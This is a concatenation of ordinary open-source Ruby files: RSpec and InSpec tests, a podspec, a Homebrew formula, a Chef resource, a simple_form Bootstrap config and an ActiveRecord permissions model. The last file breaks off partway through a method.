mock_graph :post, '/oauth/exchange_sessions', 'exchange_sessions_response' do
auth.access_token.should be_nil
auth.from_session_key(session_key)
auth.access_token.should be_a Rack::OAuth2::AccessToken::Legacy
auth.access_token.access_token.should == "my_oauth_token"
end
end
it "should handle null responses" do
mock_graph :post, '/oauth/exchange_sessions', 'exchange_sessions_null_response' do
auth.access_token.should be_nil
auth.from_session_key(session_key)
auth.access_token.should be_nil
end
end
end
end
| 36.021053 | 382 | 0.703682 |
79788f9ad7c1974a78ad1a1f338d84c5f304bab6 | 1,394 | title 'Connection Testing'
###############################
#
##############################
# Container 1
describe host('35.197.56.118', port: 5000, protocol: 'tcp') do
it { should be_reachable }
its('ipaddress') { should include '35.197.56.118' }
end
describe http('http://35.197.56.118:5000/') do
its('status') { should cmp 200 }
end
# Container 2
describe host('35.197.56.118', port: 5001, protocol: 'tcp') do
it { should be_reachable }
its('ipaddress') { should include '35.197.56.118' }
end
describe http('http://35.197.56.118:5001/') do
its('status') { should cmp 200 }
end
####################################################################################################
# HAPROXY_VM2
####################################################################################################
# Container 1
describe host('35.197.108.192', port: 5000, protocol: 'tcp') do
it { should be_reachable }
its('ipaddress') { should include '35.197.108.192' }
end
describe http('http://35.197.108.192:5000/') do
its('status') { should cmp 200 }
end
# Container 2
describe host('35.197.108.192', port: 5001, protocol: 'tcp') do
it { should be_reachable }
its('ipaddress') { should include '35.197.108.192' }
end
describe http('http://35.197.108.192:5001/') do
its('status') { should cmp 200 }
end
| 29.041667 | 100 | 0.507174 |
3840c2f4071ecfb15776e0c88e1d3d42373149b2 | 1,124 | Pod::Spec.new do |s|
s.name = 'FBTencentOpenAPI'
s.version = '3.3.3.1'
s.summary = 'TencentOpenAPI v3.3.3'
s.description = <<-DESC
This pod is used who want to use tencentOpenAPI v3.3.3 with podfile.
DESC
s.author = 'http://open.qq.com'
s.homepage = 'http://open.qq.com'
s.license = {
:type => 'LGPL',
:file => "LICENSE"
}
s.platform = :ios, '6.0'
s.requires_arc = true
s.source = { :git => 'https://github.com/robin2005/TencentOpenApiSDK.git', :tag => s.version.to_s }
s.source_files = "TencentOpenAPI/TencentOpenAPI.framework/Headers/**/*.h"
s.vendored_frameworks = 'TencentOpenAPI/TencentOpenAPI.framework'
s.public_header_files = "TencentOpenAPI/TencentOpenAPI.framework/Headers/**/*.h"
the_frameworks = [
'"SystemConfiguration"',
'"CoreTelephony"'
]
the_ldflags = '$(inherited) -lz -lsqlite3 -liconv -framework ' + the_frameworks.join(' -framework ') + ''
s.xcconfig = { 'OTHER_LDFLAGS' => the_ldflags }
end | 34.060606 | 110 | 0.576512 |
ab968a29d94256d3ad8b10e4a822c642f97ae917 | 1,384 | #
# Copyright 2015, SUSE Linux GmbH
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require "easy_diff"
module Crowbar
module Client
module Command
module Node
#
# Implementation for the node reinstall command
#
class Reinstall < Base
def request
@request ||= Request::Node::Reinstall.new(
args.easy_merge(
action: :reinstall
)
)
end
def execute
request.process do |request|
case request.code
when 200
say "Successfully triggered reinstall for #{args.name}"
when 404
err "Node does not exist"
else
err request.parsed_response["error"]
end
end
end
end
end
end
end
end
| 26.615385 | 74 | 0.591763 |
ac5dcda34f04d82e597ecae222a8e01e24b5667e | 1,590 | =begin
#Kubernetes
#No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.13.4
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.2.3
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for Kubernetes::V1DeploymentList
# Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen)
# Please update as you see appropriate
describe 'V1DeploymentList' do
before do
# run before each test
@instance = Kubernetes::V1DeploymentList.new
end
after do
# run after each test
end
describe 'test an instance of V1DeploymentList' do
it 'should create an instance of V1DeploymentList' do
expect(@instance).to be_instance_of(Kubernetes::V1DeploymentList)
end
end
describe 'test attribute "api_version"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "items"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "kind"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "metadata"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 26.065574 | 103 | 0.727673 |
7acec57136c7dc7a56c8a26f2fc2c5400b41ad8b | 383 | class ChangesForTableAccounts < ActiveRecord::Migration
def self.up
remove_column :accounts, :admin
remove_column :accounts, :password
add_column :accounts, :encrypted_password, :string, default: ""
end
def self.down
add_column :accounts, :admin, :boolean
add_column :accounts, :password, :string
remove_column :accounts, :encrypted_password
end
end
| 27.357143 | 67 | 0.738903 |
5de949a2ffebba7f93d098663c084a6efc45613d | 1,603 | class Mvtools < Formula
desc "Filters for motion estimation and compensation"
homepage "https://github.com/dubhater/vapoursynth-mvtools"
url "https://github.com/dubhater/vapoursynth-mvtools/archive/v20.tar.gz"
sha256 "9a1bc87b9bad6642dd7d69b1b6e200c1d962ef55fc2787581e5d2cb437aa0b23"
head "https://github.com/dubhater/vapoursynth-mvtools.git"
bottle do
cellar :any
# sha256 "9ed185ad8294c1a18115e38d99dfbe0752849038c333b684d1e6642cc3377bc0" => :mojave
sha256 "6a78a79719c00934f397bf61a6fff3415fa3ca155bb22cf67b3ae899f718174b" => :high_sierra
sha256 "bd36ea3bb4a0e0ee16892683dbd3d5e04bd7b11174f99d5a698b6c495158f81e" => :sierra
sha256 "043f36d3ed835c973bbacb64aa07cb2f435fb10539f2b7cb0feecdf75a459f72" => :el_capitan
end
depends_on "autoconf" => :build
depends_on "automake" => :build
depends_on "libtool" => :build
depends_on "nasm" => :build
depends_on "pkg-config" => :build
depends_on "fftw"
depends_on :macos => :el_capitan # due to zimg
depends_on "vapoursynth"
def install
system "./autogen.sh"
system "./configure", "--prefix=#{prefix}"
system "make", "install"
end
def caveats
<<~EOS
MVTools will not be autoloaded in your VapourSynth scripts. To use it
use the following code in your scripts:
core.std.LoadPlugin(path="#{HOMEBREW_PREFIX}/lib/libmvtools.dylib")
EOS
end
test do
script = <<~EOS.split("\n").join(";")
import vapoursynth as vs
core = vs.get_core()
core.std.LoadPlugin(path="#{lib}/libmvtools.dylib")
EOS
system "python3", "-c", script
end
end
| 32.06 | 93 | 0.724891 |
01a516575b85c7173a7c4485ab8fb7c8c70215a6 | 735 | module Mrkt
module ImportLeads
def import_lead(file, format = 'csv', lookup_field: nil, list_id: nil, partition_name: nil)
params = {
format: format,
file: Faraday::UploadIO.new(file, 'text/csv')
}
params[:lookupField] = lookup_field if lookup_field
params[:listId] = list_id if list_id
params[:partitionName] = partition_name if partition_name
post('/bulk/v1/leads.json', params)
end
def import_lead_status(id)
get("/bulk/v1/leads/batch/#{id}.json")
end
def import_lead_failures(id)
get("/bulk/v1/leads/batch/#{id}/failures.json")
end
def import_lead_warnings(id)
get("/bulk/v1/leads/batch/#{id}/warnings.json")
end
end
end
| 26.25 | 95 | 0.644898 |
4ab2d8662d607cdda09bfacf7ac64c37ba93c74a | 2,035 | #
# Copyright:: 2015-2020 Chef Software, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require_relative "../resource"
class Chef
class Resource
class RhsmErrataLevel < Chef::Resource
unified_mode true
resource_name :rhsm_errata_level
provides(:rhsm_errata_level) { true }
description "Use the rhsm_errata_level resource to install all packages of a specified errata level from the Red Hat Subscription Manager. For example, you can ensure that all packages associated with errata marked at a 'Critical' security level are installed."
introduced "14.0"
property :errata_level, String,
coerce: proc { |x| x.downcase },
equal_to: %w{critical moderate important low},
description: "An optional property for specifying the errata level of packages to install if it differs from the resource block's name.",
name_property: true
action :install do
description "Install all packages of the specified errata level."
if rhel6?
yum_package "yum-plugin-security"
end
execute "Install any #{new_resource.errata_level} errata" do
command "#{package_manager_command} update --sec-severity=#{new_resource.errata_level.capitalize} -y"
default_env true
action :run
end
end
action_class do
def package_manager_command
node["platform_version"].to_i >= 8 ? "dnf" : "yum"
end
end
end
end
end
| 35.086207 | 267 | 0.699754 |
ac8393bc6da00477cf853ed6de12bae7313c05e4 | 509 | require 'test/unit'
require 'red_grape'
class MapPipeTest < Test::Unit::TestCase
def setup
@g1 = RedGrape.load_graph 'data/graph-example-1.xml'
end
def test_map
assert_equal [
{"name"=>"marko", "age"=>29},
{"name"=>"vadas", "age"=>27},
{"name"=>"lop", "lang"=>"java"},
{"name"=>"josh", "age"=>32},
{"name"=>"ripple", "lang"=>"java"},
{"name"=>"peter", "age"=>35}
] , @g1.V.map[]
assert_equal({"name"=>"marko", "age"=>29}, @g1.v(1).map[])
end
end
| 23.136364 | 62 | 0.530452 |
e8ce40479f7736bbb2cf97c541439bd4f3671293 | 1,293 | module Integrity
class Notifier
include DataMapper::Resource
property :id, Serial
property :name, String, :required => true
property :enabled, Boolean, :required => true, :default => false
property :config, Yaml, :required => true, :lazy => false
belongs_to :project
validates_uniqueness_of :name, :scope => :project
def self.available
@notifiers ||= {}
end
def self.register(class_name)
available[class_name] = const_get(class_name)
end
def notify(build)
klass && klass.notify(build, config)
end
def klass
self.class.available[name]
end
def notify_of_build_start(build)
klass.notify_of_build_start(build, config) if klass
end
autoload :AMQP, 'integrity/notifier/amqp'
autoload :Campfire, 'integrity/notifier/campfire'
autoload :Coop, 'integrity/notifier/coop'
autoload :Email, 'integrity/notifier/email'
autoload :Flowdock, 'integrity/notifier/flowdock'
autoload :HTTP, 'integrity/notifier/http'
autoload :IRC, 'integrity/notifier/irc'
autoload :SES, 'integrity/notifier/ses'
autoload :Shell, 'integrity/notifier/shell'
autoload :TCP, 'integrity/notifier/tcp'
autoload :Postmark, 'integrity/notifier/postmark'
end
end
| 27.510638 | 69 | 0.679041 |
e26a4e9b0d7ec4fa8672ac84110eb789d56e08c9 | 795 | require 'json'
require 'mechanize'
require 'csv'
# STDIN.each_line do |line|
# STDOUT.write line
# STDOUT.flush
# f.write line
# end
agent = Mechanize.new
agent.get('http://wakemate.com')
agent.page.link_with(:text => 'login').click
form = agent.page.form
form.username = ENV["WAKEMATE_EMAIL"]
form.password = ENV["WAKEMATE_PASSWORD"]
page = agent.submit(form, form.buttons.first)
page = page.link_with(:text => 'settings').click
page = agent.submit(page.forms.last, page.forms.last.button)
csv = page.body
array = CSV.parse(csv)
header = array[0]
results = array.drop(1)
sleep = results.collect{|res| Hash[[header, res].transpose] }
#sleep = [{:date => "2011-07-12T03:55:18Z", :sleepscore => 50}, { :date => "2011-07-13T03:55:18Z", :sleep_score => 80}]
STDOUT.write sleep.to_json | 26.5 | 119 | 0.698113 |
abf68299f953688dfc9cd62c33b525006f31bf27 | 19,763 | # frozen_string_literal: true
# Please do not make direct changes to this file!
# This generator is maintained by the community around simple_form-bootstrap:
# https://github.com/rafaelfranca/simple_form-bootstrap
# All future development, tests, and organization should happen there.
# Background history: https://github.com/heartcombo/simple_form/issues/1561
# Uncomment this and change the path if necessary to include your own
# components.
# See https://github.com/heartcombo/simple_form#custom-components
# to know more about custom components.
# Dir[Rails.root.join('lib/components/**/*.rb')].each { |f| require f }
# Use this setup block to configure all options available in SimpleForm.
SimpleForm.setup do |config|
# Default class for buttons
config.button_class = "btn"
# Define the default class of the input wrapper of the boolean input.
config.boolean_label_class = "form-check-label"
# How the label text should be generated altogether with the required text.
config.label_text = lambda { |label, required, explicit_label| "#{label} #{required}" }
# Define the way to render check boxes / radio buttons with labels.
config.boolean_style = :inline
# You can wrap each item in a collection of radio/check boxes with a tag
config.item_wrapper_tag = :div
# Defines if the default input wrapper class should be included in radio
# collection wrappers.
config.include_default_input_wrapper_class = false
# CSS class to add for error notification helper.
config.error_notification_class = "alert alert-danger"
# Method used to tidy up errors. Specify any Rails Array method.
# :first lists the first message for each field.
# :to_sentence to list all errors for each field.
config.error_method = :to_sentence
# add validation classes to `input_field`
config.input_field_error_class = "is-invalid"
config.input_field_valid_class = ""
# vertical forms
#
# vertical default_wrapper
config.wrappers :vertical_form, tag: "div", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.use :placeholder
b.optional :maxlength
b.optional :minlength
b.optional :pattern
b.optional :min_max
b.optional :readonly
b.use :label
b.use :input, class: "form-control", error_class: "is-invalid", valid_class: ""
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# vertical input for boolean
config.wrappers :vertical_boolean, tag: "fieldset", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.wrapper :form_check_wrapper, tag: "div", class: "form-check" do |bb|
bb.use :input, class: "form-check-input", error_class: "is-invalid", valid_class: ""
bb.use :label, class: "form-check-label"
bb.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback"}
bb.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
end
# vertical input for radio buttons and check boxes
config.wrappers :vertical_collection, item_wrapper_class: "form-check", item_label_class: "form-check-label", tag: "fieldset", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.wrapper :legend_tag, tag: "legend", class: "col-form-label pt-0" do |ba|
ba.use :label_text
end
b.use :input, class: "form-check-input", error_class: "is-invalid", valid_class: ""
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# vertical input for inline radio buttons and check boxes
config.wrappers :vertical_collection_inline, item_wrapper_class: "form-check form-check-inline", item_label_class: "form-check-label", tag: "fieldset", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.wrapper :legend_tag, tag: "legend", class: "col-form-label pt-0" do |ba|
ba.use :label_text
end
b.use :input, class: "form-check-input", error_class: "is-invalid", valid_class: ""
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# vertical file input
config.wrappers :vertical_file, tag: "div", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.use :placeholder
b.optional :maxlength
b.optional :minlength
b.optional :readonly
b.use :label
b.use :input, class: "form-control-file", error_class: "is-invalid", valid_class: ""
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# vertical multi select
config.wrappers :vertical_multi_select, tag: "div", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.use :label
b.wrapper tag: "div", class: "d-flex flex-row justify-content-between align-items-center" do |ba|
ba.use :input, class: "form-control mx-1", error_class: "is-invalid", valid_class: ""
end
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# vertical range input
config.wrappers :vertical_range, tag: "div", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.use :placeholder
b.optional :readonly
b.optional :step
b.use :label
b.use :input, class: "form-control-range", error_class: "is-invalid", valid_class: ""
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# horizontal forms
#
# horizontal default_wrapper
config.wrappers :horizontal_form, tag: "div", class: "form-group row", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.use :placeholder
b.optional :maxlength
b.optional :minlength
b.optional :pattern
b.optional :min_max
b.optional :readonly
b.use :label, class: "col-sm-3 col-form-label"
b.wrapper :grid_wrapper, tag: "div", class: "col-sm-9" do |ba|
ba.use :input, class: "form-control", error_class: "is-invalid", valid_class: ""
ba.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback"}
ba.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
end
# horizontal input for boolean
config.wrappers :horizontal_boolean, tag: "div", class: "form-group row", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.wrapper tag: "label", class: "col-sm-3" do |ba|
ba.use :label_text
end
b.wrapper :grid_wrapper, tag: "div", class: "col-sm-9" do |wr|
wr.wrapper :form_check_wrapper, tag: "div", class: "form-check" do |bb|
bb.use :input, class: "form-check-input", error_class: "is-invalid", valid_class: ""
bb.use :label, class: "form-check-label"
bb.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
bb.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
end
end
# horizontal input for radio buttons and check boxes
config.wrappers :horizontal_collection, item_wrapper_class: "form-check", item_label_class: "form-check-label", tag: "div", class: "form-group row", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.use :label, class: "col-sm-3 col-form-label pt-0"
b.wrapper :grid_wrapper, tag: "div", class: "col-sm-9" do |ba|
ba.use :input, class: "form-check-input", error_class: "is-invalid", valid_class: ""
ba.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
ba.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
end
# horizontal input for inline radio buttons and check boxes
config.wrappers :horizontal_collection_inline, item_wrapper_class: "form-check form-check-inline", item_label_class: "form-check-label", tag: "div", class: "form-group row", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.use :label, class: "col-sm-3 col-form-label pt-0"
b.wrapper :grid_wrapper, tag: "div", class: "col-sm-9" do |ba|
ba.use :input, class: "form-check-input", error_class: "is-invalid", valid_class: ""
ba.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
ba.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
end
# horizontal file input
config.wrappers :horizontal_file, tag: "div", class: "form-group row", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.use :placeholder
b.optional :maxlength
b.optional :minlength
b.optional :readonly
b.use :label, class: "col-sm-3 col-form-label"
b.wrapper :grid_wrapper, tag: "div", class: "col-sm-9" do |ba|
ba.use :input, error_class: "is-invalid", valid_class: ""
ba.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
ba.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
end
# horizontal multi select
config.wrappers :horizontal_multi_select, tag: "div", class: "form-group row", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.use :label, class: "col-sm-3 col-form-label"
b.wrapper :grid_wrapper, tag: "div", class: "col-sm-9" do |ba|
ba.wrapper tag: "div", class: "d-flex flex-row justify-content-between align-items-center" do |bb|
bb.use :input, class: "form-control mx-1", error_class: "is-invalid", valid_class: ""
end
ba.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
ba.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
end
# horizontal range input
config.wrappers :horizontal_range, tag: "div", class: "form-group row", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.use :placeholder
b.optional :readonly
b.optional :step
b.use :label, class: "col-sm-3 col-form-label"
b.wrapper :grid_wrapper, tag: "div", class: "col-sm-9" do |ba|
ba.use :input, class: "form-control-range", error_class: "is-invalid", valid_class: ""
ba.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
ba.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
end
# inline forms
#
# inline default_wrapper
config.wrappers :inline_form, tag: "span", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.use :placeholder
b.optional :maxlength
b.optional :minlength
b.optional :pattern
b.optional :min_max
b.optional :readonly
b.use :label, class: "sr-only"
b.use :input, class: "form-control", error_class: "is-invalid", valid_class: ""
b.use :error, wrap_with: {tag: "div", class: "invalid-feedback"}
b.optional :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# inline input for boolean
config.wrappers :inline_boolean, tag: "span", class: "form-check mb-2 mr-sm-2", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.use :input, class: "form-check-input", error_class: "is-invalid", valid_class: ""
b.use :label, class: "form-check-label"
b.use :error, wrap_with: {tag: "div", class: "invalid-feedback"}
b.optional :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# bootstrap custom forms
#
# custom input for boolean
config.wrappers :custom_boolean, tag: "fieldset", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.wrapper :form_check_wrapper, tag: "div", class: "custom-control custom-checkbox" do |bb|
bb.use :input, class: "custom-control-input", error_class: "is-invalid", valid_class: ""
bb.use :label, class: "custom-control-label"
bb.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback"}
bb.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
end
# custom input switch for boolean
config.wrappers :custom_boolean_switch, tag: "fieldset", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.wrapper :form_check_wrapper, tag: "div", class: "custom-control custom-switch" do |bb|
bb.use :input, class: "custom-control-input", error_class: "is-invalid", valid_class: ""
bb.use :label, class: "custom-control-label"
bb.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback"}
bb.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
end
# custom input for radio buttons and check boxes
config.wrappers :custom_collection, item_wrapper_class: "custom-control", item_label_class: "custom-control-label", tag: "fieldset", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.wrapper :legend_tag, tag: "legend", class: "col-form-label pt-0" do |ba|
ba.use :label_text
end
b.use :input, class: "custom-control-input", error_class: "is-invalid", valid_class: ""
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# custom input for inline radio buttons and check boxes
config.wrappers :custom_collection_inline, item_wrapper_class: "custom-control custom-control-inline", item_label_class: "custom-control-label", tag: "fieldset", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.wrapper :legend_tag, tag: "legend", class: "col-form-label pt-0" do |ba|
ba.use :label_text
end
b.use :input, class: "custom-control-input", error_class: "is-invalid", valid_class: ""
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# custom file input
config.wrappers :custom_file, tag: "div", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.use :placeholder
b.optional :maxlength
b.optional :minlength
b.optional :readonly
b.use :label
b.wrapper :custom_file_wrapper, tag: "div", class: "custom-file" do |ba|
ba.use :input, class: "custom-file-input", error_class: "is-invalid", valid_class: ""
ba.use :label, class: "custom-file-label"
ba.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback"}
end
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# custom multi select
config.wrappers :custom_multi_select, tag: "div", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.use :label
b.wrapper tag: "div", class: "d-flex flex-row justify-content-between align-items-center" do |ba|
ba.use :input, class: "custom-select mx-1", error_class: "is-invalid", valid_class: ""
end
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# custom range input
config.wrappers :custom_range, tag: "div", class: "form-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.use :placeholder
b.optional :readonly
b.optional :step
b.use :label
b.use :input, class: "custom-range", error_class: "is-invalid", valid_class: ""
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback d-block"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# Input Group - custom component
# see example app and config at https://github.com/rafaelfranca/simple_form-bootstrap
# config.wrappers :input_group, tag: 'div', class: 'form-group', error_class: 'form-group-invalid', valid_class: 'form-group-valid' do |b|
# b.use :html5
# b.use :placeholder
# b.optional :maxlength
# b.optional :minlength
# b.optional :pattern
# b.optional :min_max
# b.optional :readonly
# b.use :label
# b.wrapper :input_group_tag, tag: 'div', class: 'input-group' do |ba|
# ba.optional :prepend
# ba.use :input, class: 'form-control', error_class: 'is-invalid', valid_class: ''
# ba.optional :append
# end
# b.use :full_error, wrap_with: { tag: 'div', class: 'invalid-feedback d-block' }
# b.use :hint, wrap_with: { tag: 'small', class: 'form-text text-muted' }
# end
# Floating Labels form
#
# floating labels default_wrapper
config.wrappers :floating_labels_form, tag: "div", class: "form-label-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.use :placeholder
b.optional :maxlength
b.optional :minlength
b.optional :pattern
b.optional :min_max
b.optional :readonly
b.use :input, class: "form-control", error_class: "is-invalid", valid_class: ""
b.use :label
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# custom multi select
config.wrappers :floating_labels_select, tag: "div", class: "form-label-group", error_class: "form-group-invalid", valid_class: "form-group-valid" do |b|
b.use :html5
b.optional :readonly
b.use :input, class: "custom-select", error_class: "is-invalid", valid_class: ""
b.use :label
b.use :full_error, wrap_with: {tag: "div", class: "invalid-feedback"}
b.use :hint, wrap_with: {tag: "small", class: "form-text text-muted"}
end
# The default wrapper to be used by the FormBuilder.
config.default_wrapper = :vertical_form
# Custom wrappers for input types. This should be a hash containing an input
# type as key and the wrapper that will be used for all inputs with specified type.
config.wrapper_mappings = {
boolean: :vertical_boolean,
check_boxes: :vertical_collection,
date: :vertical_multi_select,
datetime: :vertical_multi_select,
file: :vertical_file,
radio_buttons: :vertical_collection,
range: :vertical_range,
time: :vertical_multi_select
}
# enable custom form wrappers
# config.wrapper_mappings = {
# boolean: :custom_boolean,
# check_boxes: :custom_collection,
# date: :custom_multi_select,
# datetime: :custom_multi_select,
# file: :custom_file,
# radio_buttons: :custom_collection,
# range: :custom_range,
# time: :custom_multi_select
# }
end
| 45.536866 | 258 | 0.680716 |
1878475c490856e0a568a6beefa96b64338a54cb | 3,271 | class Action < ActiveRecord::Base
belongs_to :permissible, :polymorphic => true
has_many :permissions, :dependent => :destroy
validates_presence_of :name
validates_presence_of :permissible_type
validates_uniqueness_of :name, :scope => [:permissible_type, :permissible_id]
named_scope :permissible_actions_for, lambda {|*args|
user, subject_class, subject = args.flatten
if subject
matching_criteria = ["`users`.`id` = ? AND `actions`.`permissible_type` = ? AND `actions`.`permissible_id` = ?", user.id, subject_class.class_name, subject.id ]
else
matching_criteria = ["`users`.`id` = ? AND `actions`.`permissible_type` = ? AND `actions`.`permissible_id` IS NULL", user.id, subject_class.class_name ]
end
{
:select => '`actions`.`name`',
:joins => 'INNER JOIN `permissions` ON `permissions`.`action_id` = `actions`.`id`
INNER JOIN `groups` ON `permissions`.`group_id` = `groups`.`id`
INNER JOIN `assignments` ON `groups`.`id` = `assignments`.`group_id`
INNER JOIN `users` ON `assignments`.`user_id` = `users`.`id`',
:conditions => matching_criteria
}
}
named_scope :permissible_class_actions_for_login, lambda {|*args|
login = args.flatten
{
:select => '`actions`.`name`, `actions`.`permissible_type`',
:joins => 'INNER JOIN `permissions` ON `permissions`.`action_id` = `actions`.`id`
INNER JOIN `groups` ON `permissions`.`group_id` = `groups`.`id`
INNER JOIN `assignments` ON `groups`.`id` = `assignments`.`group_id`
INNER JOIN `users` ON `assignments`.`user_id` = `users`.`id`',
:conditions => ["`users`.`login` = ? AND `actions`.`permissible_id` IS NULL", login ]
}
}
named_scope :permissible_instance_actions_for_login, lambda {|*args|
login = args.flatten
{
:select => '`actions`.`name`, `actions`.`permissible_type`, `actions`.`permissible_id`',
:joins => 'INNER JOIN `permissions` ON `permissions`.`action_id` = `actions`.`id`
INNER JOIN `groups` ON `permissions`.`group_id` = `groups`.`id`
INNER JOIN `assignments` ON `groups`.`id` = `assignments`.`group_id`
INNER JOIN `users` ON `assignments`.`user_id` = `users`.`id`',
:conditions => ["`users`.`login` = ? AND `actions`.`permissible_id` IS NOT NULL", login ]
}
}
named_scope :find_by_class_and_action_name, lambda {|class_name, action_name|
{
:conditions => ["`actions`.`permissible_type` = ? AND `actions`.`name` = ? AND `actions`.`permissible_id` IS NULL", class_name, action_name]
}
}
named_scope :available_actions, {
:select => '`actions`.`name`',
:conditions => ['`actions`.`permissible_id` IS NULL']
}
def self.find_or_create_by_name_and_type(name, type)
existing_action = Action.find(:first, :conditions => ['`name` = ? AND `permissible_type` = ? AND `permissible_id` IS NULL', name, type])
